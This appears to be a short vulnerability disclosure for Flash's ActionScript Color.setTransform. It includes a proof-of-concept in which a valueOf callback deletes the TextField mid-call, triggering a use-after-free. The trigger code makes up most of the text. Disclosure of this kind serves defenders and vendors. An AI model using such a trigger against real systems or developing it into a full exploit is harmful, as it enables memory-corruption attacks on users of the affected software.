If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)

var n = new Object();

n.valueOf = function () {
	trace("here");
	tf.removeTextField()
}

var o = {ra: n, rb:8};

var c = new Color(tf)
c.setTransform(o)


A sample swf and fla are attached.
